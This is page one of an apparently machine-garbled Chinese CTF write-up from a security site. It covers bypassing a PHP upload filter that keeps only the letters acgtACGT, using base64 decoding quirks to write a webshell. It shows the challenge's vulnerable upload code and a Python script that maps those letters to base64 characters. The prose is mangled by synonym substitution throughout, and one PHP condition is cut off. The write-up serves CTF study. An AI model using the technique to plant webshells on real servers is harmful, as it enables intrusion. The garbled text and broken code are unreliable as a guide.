欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

XDCTF Upload联想到的一个新颖思路

来源:本站整理 作者:佚名 时间:2017-10-11 TAG: 我要投稿

在十一的XDCTF中有一道Upload题引出的若何经由进程固定的几个字符,应用php伪协定中的convert.base64-encode来写shell。
0x00 一道题引出的话题
咱们起首抛砖引玉,来看一下这道题的症结代码:
error_reporting(0);
session_start();
if (isset($_FILES[file]) && $_FILES[file]['size']
$d = "./tmp/" . md5(session_id());
@mkdir($d);
$b = "$d/" . pathinfo($_FILES[file][name], 8);
file_put_contents($b, preg_replace('/[^acgt]/is', '', file_get_contents($_FILES[file][tmp . "_name"])));
echo $b;
}
这道题限定了应用php://input、data://、read://。症结的考点便是若何过这个正则/[^acgt]/is。
ok,正则表现咱们只能应用acgtACGT这么8个字符,那末咱们若何经由进程这8个字符来写shell呢?
上面咱们就用这8个字符来测验考试天生咱们的payload,以到达履行咱们的php代码的目标。
0x01 办理成绩的症结——base64解码函数tips
办理上述成绩的症结,便是base64的解码规矩。
起首你应当晓得的:
base64应用的字符包含大小写字母26个,加之10个数字,和+、/共64个字符。
base64在解码时,假如参数中有不法字符(不在上面64个字符内的),就会跳过。
举个例子:
以r举例,咱们能够看到能够经由进程ctTT停止base64解码后获得:


那末咱们顺着这个思绪,就能够获得一张经由进程曾经给出的8个字符所获得的一切字符的字符表:
import base64
import string
from itertools import product
from pprint import pprint
# base64根基64字符
dict = string.ascii_letters + string.digits + "+/"
# 应用可用字符调换其余字符
def exchange(allow_chars):
    possible = list(product(allow_chars, repeat=4))
    table = {}
    for list_data in possible:
        data = "".join(list_data)
        decode_data = base64.b64decode(data)
        counter = 0
        t = 0
        for i in decode_data:
            j = chr(i)
            if j in dict:
                counter += 1
                t = j
        if counter == 1:
            table[t] = data
    return table
if __name__ == '__main__':
    chars = 'acgtACGT'
    pprint(exchange(chars))
代码很简略,便是将acgtACGT取了单位元组为4个元素的笛卡尔积,以后将每一个笛卡尔积所构成的新的字符串停止base64解码,成果以下:


今朝只要26个元素,剩下的怎样获得呢?
咱们改一下咱们的剧本:
import base64
import string
from itertools import product
from pprint import pprint
# base64根基64字符
dict = string.ascii_letters + string.digits + "+/"
# 应用可用字符调换其余字符
def exchange(allow_chars):
    possible = list(product(allow_chars, repeat=4))
    table = {}
    for list_data in possible:
        data = "".join(list_data)
        decode_data = base64.b64decode(data)
        counter = 0
        t = 0
        for i in decode_data:
            j = chr(i)
            if j in dict:
                counter += 1
                t = j
        if counter == 1:
            table[t] = data

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载